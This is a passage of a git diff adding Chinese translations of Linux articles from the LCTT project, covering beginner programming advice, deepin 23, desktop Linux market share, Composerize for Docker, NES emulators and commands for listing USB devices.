+[10]: https://itsfoss.com/wp-content/uploads/2022/08/images-in-marktext.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/tables-in-marktext.png +[12]: https://itsfoss.com/wp-content/uploads/2022/08/sidebar-view-marktext.png +[13]: https://itsfoss.com/wp-content/uploads/2022/08/marktext-settings.png +[14]: https://github.com/marktext/marktext/releases +[15]: https://itsfoss.com/best-markdown-editors-linux/ diff --git a/published/202208/20220816 My practical advice for new programmers.md b/published/202208/20220816 My practical advice for new programmers.md new file mode 100644 index 0000000000..30859c390a --- /dev/null +++ b/published/202208/20220816 My practical advice for new programmers.md @@ -0,0 +1,72 @@ +[#]: subject: "My practical advice for new programmers" +[#]: via: "https://opensource.com/article/22/8/coding-advice-new-programmers" +[#]: author: "Sachin Samal https://opensource.com/users/sacsam005" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14952-1.html" + +我给新手程序员的实用建议 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/21/161450vm33z0ex30w4073z.jpg) + +> 做一个高效的、充满好奇心的问题解决者吧!这会帮助你成为一名成功的程序员。 + +你是否曾经遇到过这样一种情况:你想解决一个问题,并且你在 YouTube 或 Google 中找到了相关的教程。嗯,你觉得看会了,可真做起来,却止步不前,大脑一片空白。你感觉自己每一行代码都看懂了,可一旦离开了那个教程,就步履维艰。如果你在 HackerRank 或 LeetCode 上看过别人的解题过程,你就能体会到,一个有追求的程序员第一次看到这些挑战时,他会是何种感受。举例来说,假设你正在学习一门新语言,在你刚开始理解这门语言的基础知识的时候,你看了一个教程,摩拳擦掌,结果发现自己无法独立应用学到的知识,这反过来可能会导致你怀疑自己的知识和能力。 + +### 把教程付诸于实践 + +你应该从头开始吗?如果你这么做,你可能很快就会发现自己重复学习了很多次相同的知识点。虽然从头开始并不一定是种浪费,但是,你该如何变得更高效呢? + +死记硬背在编程中完全是行不通的。话虽如此,但你也不能够忽视熟悉语法的重要性。因为,死记硬背和养成习惯之间是有明显区别的。习惯是很难打破的。要养成多使用编程语言的常规语法、函数、方法、模式、范式和构造的习惯,这样你才能掌握它。掌握一门编程语言需要大量的创造力和练习。练习语法是非常必要的,直到它们能在你的脑海中自然地浮现,就像血液在血管里流动一样。 + +### “问题解决”的工作原理 + +那么,你该采取什么样的方案呢?这实际上取决于许多因素。这些因素可以是任何东西,下至技术限制,上至用户需要。世界上有无数的问题,每个问题都有许多解决方式。如何选择一个最好的?这就需要“问题解决”problem-solving的技巧了。 + +下面是一个简单的例子。你需要把两个数**相加**,让它们等于 **6**。显然,你有多种方式可供选择: + +**3 + 3 = 6** 或 **4 + 2 = 6** 或 **5 + 1 = 6** + +同理,如果你需要让两个数字,经过一次减法、乘法或除法运算后,得到的结果为 **6**。你仍然有很多选项,包括: + +**8 - 2 = 6** 或 **12 / 2 = 6** 或 **3 * 2 = 6** + +每种方案都有它固有的限制,且各不相同。当你在现实生活中尝试做出一个高效的方案时,你必须要考虑到所有的限制。这个方案可行吗?有什么障碍吗?有可操作性吗?是否可扩展呢?而如何最小化约束,并做出一个最优方案,就取决于问题类型和业务需要。 + +### 练习很重要 + +编程的目标不仅仅是解决问题。因此,从工程视角理解代码**如何**工作始终是一个优势。这就是代码审查在企业级开发中发挥作用的地方。编程的最低要求是具备基本的编码知识,包括语言的语法、函数和方法。归根结底,“写代码”是需要你去**写**的,所以练习总是有助于提高你的技能。流畅的写作和复杂方案的开发都来自于持续的学习和训练。 + +### 学习编码 + +我撰写和分享这篇文章,是为了鼓励新程序员去探寻自己的内心,寻找那个“优秀的问题解决者”。请不要停止相信自己。 + +要成功编码,你需要培养许多习惯。下面是我在学习编码时保持高效的方法: + +1. 一个包含语法、方法和函数 [速查手册][1] 总能应付不时之需。 +2. 将问题分解成更小的部分,便于追踪。 +3. 尝试理解代码运行的核心概念。 +4. 构思解决方案时,大可发挥你的创造力 —— 但刚开始还是要注重基础。 +5. 在练习时,创建尽可能多的应用和组件。 +6. 永远不要从 Stack Overflow/Exchange 等开放平台上复制/粘贴代码,特别是在不了解上下文的情况下。 +7. 跟着教程做了一遍后,尝试从头开始构建所有内容。即使你只能独立完成一半,那也仍然是一个成就。 + +祝我们所有人好运! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/coding-advice-new-programmers + +作者:[Sachin Samal][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sacsam005 +[b]: https://github.com/lkxed +[1]: https://opensource.com/downloads/cheat-sheets diff --git a/published/202208/20220817 Deepin 23 is Introducing a New Package Format and Repository, Sounds Interesting!.md b/published/202208/20220817 Deepin 23 is Introducing a New Package Format and Repository, Sounds Interesting!.md new file mode 100644 index 0000000000..aeb4d4a4ca --- /dev/null +++ b/published/202208/20220817 Deepin 23 is Introducing a New Package Format and Repository, Sounds Interesting!.md @@ -0,0 +1,101 @@ +[#]: subject: "Deepin 23 is Introducing a New Package Format and Repository, Sounds Interesting!" +[#]: via: "https://news.itsfoss.com/deepin-23/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14948-1.html" + +deepin 23 将引入新的软件包格式和存储库 +====== + +> deepin 23 将是一个有趣的升级,有几个基本的变化。 + +![deepin 23][1] + +deepin 仍然是目前最 [漂亮的 Linux 发行版][2] 之一。 + +虽然整个用户体验可能不是毫无痛点的,但它还是看起来不错的。deepin 的开发者尝试了一些引人关注的定制,以使它从人群中脱颖而出。 + +如果你是第一次了解它,你应该知道它是 [基于 Debian Linux 的有趣发行版][3] 之一。 + +随着 [deepin 20][4] 和它最近的小版本发布,他们推出了一系列不错的升级。现在,看起来deepin 23 将是下一个主要的升级。 + +### deepin 23 预览版中的新内容 + +![deepin 23][5] + +deepin 23 预览版已经可以进行测试。与之前的版本不同,deepin 23 包括一些基本的升级,在多个层面上影响用户体验。 + +主要的亮点包括: + +* 一个新的软件包格式。 +* 一个新的系统更新的构想。 +* 一个新的资源库。 +* 新的墙纸。 +* [Linux 内核 5.18][6]。 + +### 新的软件包格式:玲珑 + +![][7] + +**玲珑** 是 deepin 开发的新软件包格式。 + +它的目的是解决 Linux 下传统软件包格式的复杂依赖性所造成的各种兼容性问题。此外,通过支持沙盒以及增量更新和隐私保护来减少安全风险。 + +截至目前,你可以在其 [玲珑商店][8] 上找到这些软件包。 + +我们需要另一种软件包格式吗?我不这么认为。 + +有了 Flatpak 和 Snap 的存在,它听起来并不像以前没有的新东西。 + +对我来说,看起来 deepin 只是想拥有自己的软件包格式作为其产品的一部分。 + +### 原子式更新 + +系统更新将被视为原子操作,也就是说,当软件包被成功安装后,更新就完成了。如果安装失败,系统可以恢复到以前的版本,没有任何变化。 + +因此,你在升级后可以得到系统回滚的支持,并可以避免部分升级的困难。 + +### 独立的上游 + +虽然它是基于 Debian 的,但 deepin 的目标是为核心软件包和一些可选组件建立一个独立的仓库。 + +对于预览版,开发者提到,他们打算从上游如 Debian 和 Arch Linux 中学习,以改进他们的仓库。 + +### 新的墙纸 + +![deepin 23][9] + +像其他主要版本一样,deepin 23 增加了一些令人耳目一新的壁纸和新的默认壁纸。 + +### 下载 deepin 23 预览 + +请注意,deepin 23稳定版还没有上市。因此,如果你想在你的测试系统上进行实验,并体验一下,请尝试预览版。 + +你可以在 [官方公告][10] 中找到 ISO 文件的下载链接。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/deepin-23/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/wordpress/2022/08/deepin-23-release.jpg +[2]: https://itsfoss.com/beautiful-linux-distributions/ +[3]: https://itsfoss.com/debian-based-distros/ +[4]: https://itsfoss.com/deepin-20-review/ +[5]: https://news.itsfoss.com/content/images/wordpress/2022/08/deepin-23-preview-screenshot.jpg +[6]: https://news.itsfoss.com/linux-kernel-5-18-release/ +[7]: https://news.itsfoss.com/content/images/wordpress/2022/08/deepin-23-linglong.png +[8]: https://store.linglong.dev/ +[9]: https://news.itsfoss.com/content/images/wordpress/2022/08/deepin-23-wallpapers-preview.jpg +[10]: https://www.deepin.org/en/linux-system-distribution-deepin-23-preview-released/ diff --git a/published/202208/20220817 Desktop Linux Market Share- August 2022.md b/published/202208/20220817 Desktop Linux Market Share- August 2022.md new file mode 100644 index 0000000000..749517b4cc --- /dev/null +++ b/published/202208/20220817 Desktop Linux Market Share- August 2022.md @@ -0,0 +1,71 @@ +[#]: subject: "Desktop Linux Market Share: August 2022" +[#]: via: "https://itsfoss.com/linux-market-share/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14954-1.html" + +桌面 Linux 市场份额(2022 年 7 月) +====== + +每年,我们都会讨论 Linux 桌面年。当我们看到操作系统在消费者领域的市场份额有所增加时,却知道是无望的。 + +![linux desktop market share][1] + +当然,Linux 主导着整个云行业(Web 托管、云计算、数据仓库等)。在这里,我们只关注桌面 Linux 的市场份额。 + +**如果你是 Linux 世界的新手**,可能不知道,Linux 不是一个操作系统,它是一个内核。但是,为了简单起见,我们倾向于将 “Linux” 称为操作系统。你可以在我们的解释文章中了解 [Linux 是什么][2]。 + +有朝一日,我们希望 Linux 发行版在未来的桌面操作市场份额中占据主导地位。但是,当前的趋势说明了什么?现在是 Linux 桌面年了吗? + +趋势每个月都在变化。去年,与今年相比,Linux 可能市场份额更多一些。因此,跟踪最新报告至关重要。 + +在这里,我们试图以来自不同来源的每月更新报告的形式跟踪最新趋势。 + +### 操作系统市场份额:2022 年 7 月 + +> 我们每个月都会更新可用信息。请注意,上个月的信息将在下个月发布。因此,例如,当我们在 8 月份更新报告时,它将包括 7 月份的统计数据。 + +在可用的桌面操作系统(Windows、macOS 和 Chrome OS)中,Linux 通常倾向于占据**第三位**。 + +一些最新的统计数据包括: + +| 报告 | 备注 | Linux | macOS | Windows | +| -- | -- | -- | -- | -- | +| [Net Marketshare][3] | | 1.68% | 6.09% | 91.40% | +| [Statcounter][4] | | 2.76% | 14.51% | 75.21% | +| [W3Schools][5] | 最后更新于 2022 年 5 月 | 4.2% | 9.2% | 70% | +| [Steam 调查][6] | 在桌面游戏方面 | 1.23% | 1.74% | 97.03% | +| [Statista][7] | 最后更新于 2022 年 6 月 | 2.42% | 14.64% | 76.33% | + +另外,参与 [Stack Overflow 调查][8] 的开发者中,40.23% 的用户将基于 Linux 的操作系统用于个人用途,39.89% 的用户将其用于专业用途。 + +每个来源都使用不同的数据收集方法。市场份额不断变化,这就是为什么我们决定定期更新此报告,而不是单独发布关于市场份额微小变化的帖子。 + +**总体而言**,看起来 Linux 作为桌面操作系统在开发人员中很受欢迎,并最终影响游戏玩家和其他消费者作为替代操作系统。 + +*你对这种趋势有何看法?你认为 Linux 会在桌面市场份额方面超过 macOS 吗?在下面的评论中分享你的想法。* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/linux-market-share/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2017/09/linux-desktop-market-share.jpg +[2]: https://itsfoss.com/what-is-linux/ +[3]: https://www.netmarketshare.com/operating-system-market-share.aspx?options=%7B%22filter%22%3A%7B%22%24and%22%3A%5B%7B%22deviceType%22%3A%7B%22%24in%22%3A%5B%22Desktop%2Flaptop%22%5D%7D%7D%5D%7D%2C%22dateLabel%22%3A%22Custom%22%2C%22attributes%22%3A%22share%22%2C%22group%22%3A%22platform%22%2C%22sort%22%3A%7B%22share%22%3A-1%7D%2C%22id%22%3A%22platformsDesktop%22%2C%22dateInterval%22%3A%22Monthly%22%2C%22dateStart%22%3A%222021-12%22%2C%22dateEnd%22%3A%222022-07%22%2C%22segments%22%3A%22-1000%22%7D +[4]: https://gs.statcounter.com/os-market-share/desktop/worldwide +[5]: https://www.w3schools.com/browsers/browsers_os.asp +[6]: https://store.steampowered.com/hwsurvey/Steam-Hardware-Software-Survey-Welcome-to-Steam?platform=linux +[7]: https://www.statista.com/statistics/218089/global-market-share-of-windows-7/ +[8]: https://survey.stackoverflow.co/2022/#technology-most-popular-technologies diff --git a/published/202208/20220818 Convert Docker Run Commands Into Docker-Compose Files.md b/published/202208/20220818 Convert Docker Run Commands Into Docker-Compose Files.md new file mode 100644 index 0000000000..939f23e1cc --- /dev/null +++ b/published/202208/20220818 Convert Docker Run Commands Into Docker-Compose Files.md @@ -0,0 +1,114 @@ +[#]: subject: "Convert Docker Run Commands Into Docker-Compose Files" +[#]: via: "https://ostechnix.com/convert-docker-run-commands-into-docker-compose-files/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14970-1.html" + +将 Docker 命令转化为 Docker Compose 文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/27/150501vw3eqx2xkexemmkc.jpg) + +> 使用 Composerize 从 `docker run` 命令创建 Docker Compose 文件 + +如果你每天在正式或个人系统中使用 Docker,你应该知道有一个有用的应用叫 **Composerize**。在这个简短的指南中,我们将了解什么是 Composerize,以及如何使用 Composerize 在 Linux 中**将 `docker run` 命令转换为 Docker Compose 文件**格式。 + +### 什么是 Composerize? + +[Docker Compose][1] 是一个用于定义和运行多容器 Docker 应用的工具。Docker Compose 只是一个 YAML 文件,我们在其中为 Docker 应用定义服务、网络和卷。 + +不是每个人都擅长写高效的 Docker Compose 文件。你们中的一些人可能会发现,甚至写一个简单的 Docker Compose 文件都很困难。不用担心! 看下 Composerize,它可以帮助你从 `docker run` 命令中创建 Docker Compose 文件。 + +Composerize 是一个命令行和基于网络的工具,可以将 `docker run` 命令转换成 Docker Compose 文件。 + +无论 `docker run` 命令是简单、简短还是冗长、复杂,都没有关系。你所要做的就是把命令传给 Conposerize。Composerize 会立即将 `docker run` 命令变成 Docker Compose 文件! + +### 在 Linux 中安装 Composerize + +Composerize 是作为一个网络服务提供的。所以你不需要在你的系统上安装它。如果你因为任何原因想在本地安装它,请继续阅读。 + +Composerize 可以用 npm 安装。确保你的系统中已经安装了 Nodejs。如果没有安装,请按照下面的链接来安装 Nodejs。 + +* **[如何在 Linux 上安装 NodeJS][2]** + +安装完 Nodejs 后,运行以下命令来安装 Composerize: + +``` +$ npm install composerize +``` + +该命令将只为当前用户安装 Composerize。 + +如果你想在全局(全系统)安装它,请运行上述命令并加上 `-g` 选项,如下所示。 + +``` +$ npm install composerize -g +``` + +### 用 Composerize 将 Docker 命令转换为 Docker Compose 文件 + +要将 `docker run` 命令转换为 Docker Compose 格式,只需用 Composerize 运行它,如下所示: + +``` +$ composerize docker run -d -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock portainer/portainer +``` + +它将以 Docker Compose 文件格式生成内容。 + +示例输出: + +``` +version: '3.3' +services: + portainer: + ports: + - '9000:9000' + volumes: + - '/var/run/docker.sock:/var/run/docker.sock' + image: portainer/portainer +``` + +![Convert Docker Run Commands Into Docker-Compose Files With Composerize][3] + +现在在你的 `docker-compose.yml` 文件中复制上面几行。就这么简单! + +正如我所说,你也可以使用 Composerize 网络服务将 `docker run` 命令转换成 Docker Compose 格式。 + +进入 [https://www.composerize.com/][4],将 `docker run` 命令粘贴到框中,你就会立即得到 `docker-compose.yml` 文件! + +![Turn Docker Run Commands Into Docker-compose Files Using Composerize][5] + +将命令转换为 Docker Compose 文件后,到你保存 `docker-compose.yml` 文件的位置,运行以下命令来启动 Docker 应用: + +``` +$ docker-compose up +``` + +Composerize 是对 Docker 用户有用的工具之一。你现在可以安全地告别漫无边际的 Docker 命令了。 + +资源: + +* [Composerize GitHub 仓库][6] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/convert-docker-run-commands-into-docker-compose-files/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/introduction-to-docker-compose/ +[2]: https://ostechnix.com/install-node-js-linux/ +[3]: https://ostechnix.com/wp-content/uploads/2022/08/Convert-Docker-Run-Commands-Into-Docker-Compose-Files-With-Composerize.png +[4]: https://www.composerize.com/ +[5]: https://ostechnix.com/wp-content/uploads/2022/08/Turn-Docker-Run-Commands-Into-Docker-compose-Files-Using-Composerize.png +[6]: https://github.com/magicmark/composerize diff --git a/published/202208/20220818 Google Surpasses Microsoft In Terms Of Open Source Contributors, Says A Study.md b/published/202208/20220818 Google Surpasses Microsoft In Terms Of Open Source Contributors, Says A Study.md new file mode 100644 index 0000000000..2efaee83ce --- /dev/null +++ b/published/202208/20220818 Google Surpasses Microsoft In Terms Of Open Source Contributors, Says A Study.md @@ -0,0 +1,39 @@ +[#]: subject: "Google Surpasses Microsoft In Terms Of Open Source Contributors, Says A Study" +[#]: via: "https://www.opensourceforu.com/2022/08/google-surpasses-microsoft-in-terms-of-open-source-contributors-says-a-study/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14955-1.html" + +一项研究显示,谷歌在开源贡献方面超过了微软 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/08/coding-new-1536x864.jpg) + +> 根据 Aiven 的一份新报告,谷歌已经提高了其对开源软件的投入,并在活跃贡献者方面超过了微软。 + +根据 Aiven 的报告(LCTT 译注:我没有找到这份报告),谷歌目前的活跃贡献者多于微软,这要归功于对开源代码库 GitHub 的每月提交量同比增长 20%。根据开源贡献者指数(OCSI)的数据,谷歌 7 月份有 5421 名活跃贡献者,而微软的活跃贡献者为 5268 名。 + +Aiven 联合创始人兼首席技术官 Heikki Nousiainen 说,谷歌超过微软“特别令人惊讶”。 + +“这其中的一个因素是微软对开源项目的提交逐年下降,”Nousiainen 说,“然而,微软对开发者自由和创新的投入是一致的,该公司是开源的主要参与者,甚至在 2018 年收购了 GitHub。” + +Aiven 指出,亚马逊已经开始更加重视开源计划,其对 OpenSearch(ElasticSearch 的复刻)的支持以及 GitHub 上项目数量的增加就是证明。Nousiainen 认为,亚马逊对 OpenSearch 和 ElasticSearch 的支持代表了“该公司方向的重大改变”,以及对重大开源项目掌舵的愿望。据 Aiven 介绍,这些科技巨头正在迅速扩大对开源软件的使用。根据数据,现在来自亚马逊、微软和谷歌的活跃 GitHub 贡献者比六年前多了 300%。 + +“这项研究的总体信息是积极的,”Nousiainen 说,“在开源社区有大量的创新在继续发生,其结果使我们所有人受益。数不清的人正在为其他人树立一个榜样。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/google-surpasses-microsoft-in-terms-of-open-source-contributors-says-a-study/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202208/20220822 3 NES Emulators to Play Old NES Games on Linux.md b/published/202208/20220822 3 NES Emulators to Play Old NES Games on Linux.md new file mode 100644 index 0000000000..e5081a56ab --- /dev/null +++ b/published/202208/20220822 3 NES Emulators to Play Old NES Games on Linux.md @@ -0,0 +1,106 @@ +[#]: subject: "3 NES Emulators to Play Old NES Games on Linux" +[#]: via: "https://www.debugpoint.com/3-nes-emulators-to-play-old-nes-games-in-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14974-1.html" + +3 个可在 Linux 上玩旧 NES 游戏的 NES 模拟器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/28/162533h41z1kynkyn5n53q.jpg) + +> 快速了解一下在 Linux 中玩老式 NES 游戏的 3 个 NES 模拟器。此外,我们也提供了安装指南和特性介绍。 + +如果你想在最新的 Ubuntu、Linux Mint 版本中玩超级马里奥、口袋妖怪等老式复古游戏,有很多可用的模拟器。如果你想玩老式复古游戏,可以尝试以下三个模拟器。 + +### 1、ZSNES + +[ZSNES][1] 是一个 [超级任天堂][2] 模拟器,可以在 Windows、Linux、FreeBSD 和 DOS 上运行。它作为 GUI 界面运行,你可以在其中加载 NES 游戏的 ROM。 + +这是在 Ubuntu、Debian 和 Linux Mint 中安装 ZSNES 的方法。从终端运行以下命令: + +``` +sudo apt install zsnes +``` + +对于 Fedora,在 [使用这个指南设置 RPM fusion][3] 后运行以下命令进行安装。因为它需要一些 Fedora 官方发行版没有提供的模块。 + +``` +sudo dnf install zsnes +``` + +安装后,从 Dash 中搜索 ZSNES 或在终端中输入 zsnes。 + +![ZSNES Main][4] + +![Play old NES games using ZSNES in Ubuntu][5] + +### 2、Higan + +higan 是 Nintendos SNES、NES、Gameboy、Gameboy Color 和 Gameboy Advance 的模拟器。它以前被称为 bsnes,并且 SNES 仿真特别完整和完善。 + +higan 努力提供最忠实的硬件仿真。它专注于准确性和简洁的代码,而不是速度和特殊功能。它旨在作为参考仿真器来记录底层硬件的工作原理。 + +这是从命令行安装 higan 的方法。 + +``` +sudo apt install higan +``` + +![Higan Running in Ubuntu][6] + +### 3、GFCEU + +GNOME FCE Ultra(gfceu)是用于 GNOME 桌面的 FCE Ultra 任天堂娱乐系统的图形前端。 Gfceu 简化了用户的游戏体验,并提供了干净、简单和直观的界面。 + +从终端运行以下命令,为 Ubuntu、Linux Mint 和相关发行版安装 gfceu。 + +``` +sudo apt install gfceu +``` + +对于 Fedora,运行以下命令进行安装。请确保在运行此命令之前 [使用这个指南设置 RPM fusion][7]。因为它需要某些官方 Fedora 发行版未提供的软件包。 + +``` +sudo dnf install gfceu +``` + +![gfceu running in Ubuntu][8] + +### 下载游戏 ROM + +有数百个网站提供 NES ROM。这里有几个你可以下载 NES ROM 的地方。下载后,解压缩并从模拟器菜单中打开。 + +* [https://romsmania.cc/roms/nintendo][9] +* [https://romsmode.com/][12] +* [www.emuparadise.me][13] + +使用这些模拟器享受和玩旧 NES 游戏。请让我知道你最喜欢哪一个。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/3-nes-emulators-to-play-old-nes-games-in-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: http://www.zsnes.com/ +[2]: https://en.wikipedia.org/wiki/Super_Nintendo_Entertainment_System +[3]: https://www.debugpoint.com/enable-rpm-fusion-fedora-rhel-centos/ +[4]: https://www.debugpoint.com/wp-content/uploads/2016/07/ZSNES-Main.png +[5]: https://www.debugpoint.com/wp-content/uploads/2016/07/ZSNES-Running-in-Ubuntu.png +[6]: https://www.debugpoint.com/wp-content/uploads/2016/07/Higan-Running-in-Ubuntu.png +[7]: https://www.debugpoint.com/enable-rpm-fusion-fedora-rhel-centos/ +[8]: https://www.debugpoint.com/wp-content/uploads/2016/07/gfceu-running-in-Ubuntu.png +[9]: https://romsmania.cc/roms/nintendo +[12]: https://romsmode.com/ +[13]: http://www.emuparadise.me/Nintendo_Entertainment_System_ROMs/13 diff --git a/published/202208/20220822 How to List USB Devices Connected to Your Linux System.md b/published/202208/20220822 How to List USB Devices Connected to Your Linux System.md new file mode 100644 index 0000000000..48d7b44895 --- /dev/null +++ b/published/202208/20220822 How to List USB Devices Connected to Your Linux System.md @@ -0,0 +1,188 @@ +[#]: subject: "How to List USB Devices Connected to Your Linux System" +[#]: via: "https://itsfoss.com/list-usb-devices-linux/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14981-1.html" + +如何列出连接到 Linux 系统的 USB 设备 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/30/094927nu106ijzz0iiiwj1.jpg) + +你如何列出 Linux 中的 USB 设备? + +这个问题可以有两种含义。 + +* 你的系统上有(检测到)多少个 USB 端口? +* 系统安装(插入)了多少个 USB 设备/磁盘? + +大多数情况下,人们有兴趣了解哪些 USB 设备连接到系统。这可能有助于对 USB 设备进行故障排除。 + +最可靠的方法是使用这个命令: + +``` +lsusb +``` + +它显示了网络摄像头、蓝牙和以太网端口以及 USB 端口和挂载的 USB 驱动器。 + +![list usb with lsusb command linux][1] + +但是理解 `lsusb` 的输出并不容易,当你只想查看和访问已挂载的 USB 驱动器时,你可能不需要那么复杂。 + +我将向你展示可用于列出连接到系统的 USB 设备的各种工具和命令。 + +除非另有说明,在我的例子中连接了一个 2GB 的 U 盘、1TB 的外置硬盘、通过 MTP 连接的 Android 智能手机,以及 USB 鼠标。 + +让我从桌面用户最简单的选项开始。 + +### 以图形方式检查连接的 USB 设备 + +你的发行版的文件管理器可以用来查看连接到你的计算机的 USB 存储设备。正如你在下面的 Nautilus(GNOME 文件管理器)的截图中看到的那样。 + +连接的设备显示在边栏中(此处仅显示 USB 存储设备)。 + +![Nautilus showing connected USB devices][2] + +你还可以使用 GNOME “磁盘Disks” 或 Gparted 等 GUI 应用来查看、格式化和分区连接到计算机的 USB 存储设备。默认情况下,大多数使用 GNOME 桌面环境的发行版都预装了 GNOME “磁盘”。 + +这个应用也可以用作一个非常好的 [分区管理器][3]。 + +![Use GNOME Disks to list mounted USB devices][4] + +*图形工具足够了*。让我们讨论可用于列出 USB 设备的命令。 + +### 使用 mount 命令列出挂载的 USB 设备 + +`mount` 命令用于挂载 Linux 中的分区。你还可以使用相同的命令列出 USB 存储设备。 + +通常,USB 存储挂载在 `media` 目录中。因此,在媒体上过滤 `mount` 命令的输出将为你提供所需的结果。 + +``` +mount | grep media +``` + +![][5] + +### 使用 df 命令 + +[df 命令][6] 是一个标准的 UNIX 命令,用于了解可用磁盘空间的大小。你还可以使用此命令列出已连接的 USB 存储设备。 + +``` +df -Th | grep media +``` + +![Use df command to list mounted USB drives][7] + +### 使用 lsblk 命令 + +`lsblk` 命令用于列出终端中的块设备。因此,这里也通过过滤包含 `media` 关键字的输出,你可以获得所需的结果,如下面的截图所示。 + +``` +lsblk | grep media +``` + +![Using lsblk to list connected USb devicesUsing blkid to list connected USb devices][8] + +如果你想知道,也可以使用 `blkid` 命令了解 UUID、标签、块大小等。 + +此命令提供更多输出,因为你的内部驱动器也被列出。因此,你必须参考上述命令来识别你希望了解的设备。 + +``` +sudo blkid +``` + +![Using blkid to list connected USb devices][9] + +### 使用 fdisk + +`fdisk` 是一款不错的老式命令行分区管理器,它还可以列出连接到你计算机的 USB 存储设备。这个命令的输出也很长。因此,通常连接的设备会列在底部,如下所示: + +``` +sudo fdisk -l +``` + +![Use fidsk to list usb devices][10] + +### 检查 /proc/mounts + +通过检查 `/proc/mounts` 文件,你可以列出 USB 存储设备。如你所见,它向你显示了文件系统使用的挂载选项以及挂载点。 + +``` +cat /proc/mounts | grep media +``` + +![][11] + +### 使用 lsusb 命令显示所有 USB 设备 + +我们重新审视有名的 `lsusb` 命令。 + +Linux 内核开发人员 [Greg Kroah-Hartman][12] 开发了这个方便的 [usbutils][13] 程序。这为我们提供了两个命令,即 `lsusb` 和 `usb-devices` 来列出 Linux 中的 USB 设备。 + +`lsusb` 命令列出系统中有关 USB 总线的所有信息。 + +``` +lsusb +``` + +如你所见,此命令还显示了我已连接的鼠标和智能手机,这与其他命令(只能列出 USB 存储设备)不同。 + +![][14] + +第二个命令 `usb-devices` 提供了更多详细信息,但未能列出所有设备,如下所示。 + +``` +usb-devices +``` + +![][15] + +Greg 还开发了一个名为 [usbview][16] 的小型 GTK 应用。此应用向你显示连接到计算机的所有 USB 设备的列表。 + +该应用可在大多数 Linux 发行版的官方仓库中找到。你可以使用发行版的 [包管理器][17] 轻松安装 `usbview` 包。 + +安装后,你可以从应用菜单启动它。你可以选择任何列出的设备以获取详细信息,如下面的截图所示。 + +![][18] + +### 总结 + +这里列出的大多数方法仅限于 USB 存储设备。只有两种方法可以列出其他外围设备; usbview 和 usbutils。 我想我们应该感谢 Linux 内核开发人员 Greg 开发了这些方便的工具。 + +我知道还有很多方法可以列出连接到系统的 USB 设备。 欢迎你提出建议。 + +-------------------------------------------------------------------------------- + +via: 